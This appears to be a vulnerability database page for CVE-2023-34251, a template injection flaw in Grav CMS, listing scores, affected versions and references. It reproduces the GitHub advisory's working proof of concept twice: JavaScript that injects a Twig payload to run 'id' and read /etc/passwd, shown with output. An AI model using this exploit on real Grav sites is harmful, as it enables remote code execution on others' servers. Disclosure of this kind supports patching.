CVE-2023-34251
Grav Server Side Template Injection vulnerability
Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
Grav Server Side Template Injection vulnerability
Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.
- Record
CVE-2023-34251- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2023-1781
10.0
Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.
- Record
EUVD-2023-1781- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-f9jf-4cp4-4fq5
9.1
Grav Server Side Template Injection (SSTI) vulnerability
Summary
I found an RCE(Remote Code Execution) by SSTI in the admin screen.
Details
Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.
PoC
- Log in to the administrator screen and access the edit screen of the default page "Typography". (
http://127.0.0.1:8000/admin/pages/typography) - Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (
id) is being executed.
(async () => {
const nonce = document.querySelector("input[name=admin-nonce]").value;
const id = document.querySelector("input[name=__unique_form_id__]").value;
const payload = "{{['id']|map('system')|join}}"; // SSTI Payload
const params = new URLSearchParams();
params.append("task", "save");
params.append("data[header][title]", "poc");
params.append("data[content]", payload);
params.append("data[folder]", "poc");
params.append("data[route]", "");
params.append("data[name]", "default");
params.append("data[header][body_classes]", "");
params.append("data[ordering]", 1);
params.append("data[order]", "");
params.append("toggleable_data[header][process]", "on");
params.append("data[header][process][twig]", 1);
params.append("data[header][order_by]", "");
params.append("data[header][order_manual]", "");
params.append("data[blueprint", "");
params.append("data[lang]", "");
params.append("_post_entries_save", "edit");
params.append("__form-name__", "flex-pages");
params.append("__unique_form_id__", id);
params.append("admin-nonce", nonce);
await fetch("http://127.0.0.1:8000/admin/pages/typography", {
method: "POST",
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: params,
});
window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();
Execution Result
- Payload:
{{['id']|map('system')|join}}
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
- Payload:
{{['cat /etc/passwd']|map('system')|join}}
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false…
- Record
GHSA-f9jf-4cp4-4fq5- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
9.9
Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.
- Record
CVE-2023-34251- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
9.9
Grav Server Side Template Injection vulnerability
Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.
- Record
CVE-2023-34251- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-f9jf-4cp4-4fq5
9.1
Grav Server Side Template Injection (SSTI) vulnerability
Summary
I found an RCE(Remote Code Execution) by SSTI in the admin screen.
Details
Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.
PoC
- Log in to the administrator screen and access the edit screen of the default page "Typography". (
http://127.0.0.1:8000/admin/pages/typography) - Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (
id) is being executed.
(async () => {
const nonce = document.querySelector("input[name=admin-nonce]").value;
const id = document.querySelector("input[name=__unique_form_id__]").value;
const payload = "{{['id']|map('system')|join}}"; // SSTI Payload
const params = new URLSearchParams();
params.append("task", "save");
params.append("data[header][title]", "poc");
params.append("data[content]", payload);
params.append("data[folder]", "poc");
params.append("data[route]", "");
params.append("data[name]", "default");
params.append("data[header][body_classes]", "");
params.append("data[ordering]", 1);
params.append("data[order]", "");
params.append("toggleable_data[header][process]", "on");
params.append("data[header][process][twig]", 1);
params.append("data[header][order_by]", "");
params.append("data[header][order_manual]", "");
params.append("data[blueprint", "");
params.append("data[lang]", "");
params.append("_post_entries_save", "edit");
params.append("__form-name__", "flex-pages");
params.append("__unique_form_id__", id);
params.append("admin-nonce", nonce);
await fetch("http://127.0.0.1:8000/admin/pages/typography", {
method: "POST",
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: params,
});
window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();
Execution Result
- Payload:
{{['id']|map('system')|join}}
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
- Payload:
{{['cat /etc/passwd']|map('system')|join}}
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false…
- Record
GHSA-f9jf-4cp4-4fq5- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
before 1.7.42 | 1.7.42 |
getgrav/gravPackagist |
before 1.7.42, plus listed versions 0.8.00.9.00.9.10.9.100.9.11 Show 45 moreShow less0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2 |
1.7.42 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-34251 is a critical vulnerability (CVSS 10.0) in Getgrav Grav, published June 14, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.34%, the 83rd percentile. Fixed in getgrav/grav 1.7.42.
References
github.com/getgrav/grav/security/advisories/GHSA-f9jf-4cp4-4fq5
github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5
github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php
nvd.nist.gov/vuln/detail/CVE-2023-34251
github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec
github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b
Left out here: 219 versions and the rest of 2 source descriptions. The JSON record has them.